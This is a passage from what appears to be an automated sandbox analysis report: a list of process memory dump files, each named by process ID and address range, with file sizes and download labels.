memory/2968-118-0x0000000001430000-0x0000000001446000-memory.dmp

Filesize
88KB

Download
memory/3008-479-0x0000000000000000-mapping.dmp

Download
memory/3048-117-0x0000000000400000-0x0000000000820000-memory.dmp

Filesize
4.1MB

Download
memory/3048-218-0x0000000000000000-mapping.dmp

Download
memory/3048-115-0x0000000000030000-0x0000000000038000-memory.dmp

Filesize
32KB

Download
memory/3048-116-0x00000000001C0000-0x00000000001C9000-memory.dmp

Filesize
36KB

Download
memory/3104-481-0x0000000000000000-mapping.dmp

Download
memory/3112-424-0x0000000000000000-mapping.dmp

Download
memory/3148-425-0x0000000000000000-mapping.dmp

Download
memory/3184-141-0x00000000058A0000-0x00000000058A1000-memory.dmp

Filesize
4KB

Download
memory/3184-128-0x0000000005A60000-0x0000000005A61000-memory.dmp

Filesize
4KB

Download
memory/3184-159-0x0000000006F60000-0x0000000006F61000-memory.dmp

Filesize
4KB

Download
memory/3184-148-0x00000000059C0000-0x00000000059C1000-memory.dmp

Filesize
4KB

Download
memory/3184-130-0x0000000005600000-0x0000000005601000-memory.dmp

Filesize
4KB

Download
memory/3184-126-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

Filesize
4KB

Download
memory/3184-131-0x0000000005530000-0x0000000005531000-memory.dmp

Filesize
4KB

Download
memory/3184-158-0x0000000006390000-0x0000000006391000-memory.dmp

Filesize
4KB

Download
memory/3184-134-0x0000000006570000-0x0000000006571000-memory.dmp

Filesize
4KB

Download
memory/3184-129-0x00000000054D0000-0x00000000054D1000-memory.dmp

Filesize
4KB

Download
memory/3184-160-0x0000000007660000-0x0000000007661000-memory.dmp

Filesize
4KB

Download
memory/3184-133-0x0000000005450000-0x0000000005A56000-memory.dmp

Filesize
6.0MB

Download
memory/3184-132-0x0000000005570000-0x0000000005571000-memory.dmp

Filesize
4KB

Download
memory/3184-155-0x0000000006170000-0x0000000006171000-memory.dmp

Filesize
4KB

Download
memory/3184-123-0x0000000000000000-mapping.dmp

Download
memory/3288-135-0x0000000000000000-mapping.dmp

Download
memory/3288-152-0x0000000000AF0000-0x0000000000B35000-memory.dmp

Filesize
276KB

Download
memory/3288-142-0x0000000075890000-0x0000000075981000-memory.dmp

Filesize
964KB

Download
memory/3288-143-0x0000000000A80000-0x0000000000A81000-memory.dmp

Filesize
4KB

Download
memory/3288-145-0x0000000072960000-0x00000000729E0000-memory.dmp

Filesize
512KB

Download
memory/3288-157-0x0000000070BB0000-0x0000000070BFB000-memory.dmp

Filesize
300KB

Download
memory/3288-139-0x00000000005D0000-0x00000000005D1000-memory.dmp

Filesize
4KB

Download
memory/3288-151-0x0000000074C50000-0x00000000751D4000-memory.dmp

Filesize
5.5MB

Download
memory/3288-138-0x0000000000A80000-0x0000000000AEC000-memory.dmp

Filesize
432KB

Download
memory/3288-153-0x0000000002750000-0x0000000002751000-memory.dmp

Filesize
4KB

Download
memory/3288-140-0x00000000751F0000-0x00000000753B2000-memory.dmp

Filesize
1.8MB

Download
memory/3288-154-0x0000000075E90000-0x00000000771D8000-memory.dmp

Filesize
19.3MB

Download
memory/3532-486-0x0000000000000000-mapping.dmp

Download
memory/3596-469-0x0000000000000000-mapping.dmp

Download
memory/3660-468-0x0000000000000000-mapping.dmp

Download
memory/3692-161-0x0000000000000000-mapping.dmp

Download
memory/3692-174-0x0000000000400000-0x0000000002B74000-memory.dmp

Filesize
39.5MB

Download
memory/3692-173-0x0000000002CB0000-0x0000000002CB5000-memory.dmp

Filesize
20KB

Download
memory/3692-172-0x0000000002CA0000-0x0000000002CA6000-memory.dmp

Filesize
24KB

Download
memory/3736-212-0x0000000000000000-mapping.dmp

Download
memory/3796-472-0x0000000000000000-mapping.dmp

Download
memory/3804-208-0x0000000000000000-mapping.dmp

Download
memory/3824-483-0x0000000000000000-mapping.dmp

Download
memory/3904-464-0x0000000000000000-mapping.dmp

Download
memory/3924-491-0x0000000000000000-mapping.dmp

Download
memory/4064-493-0x0000000000000000-mapping.dmp

Download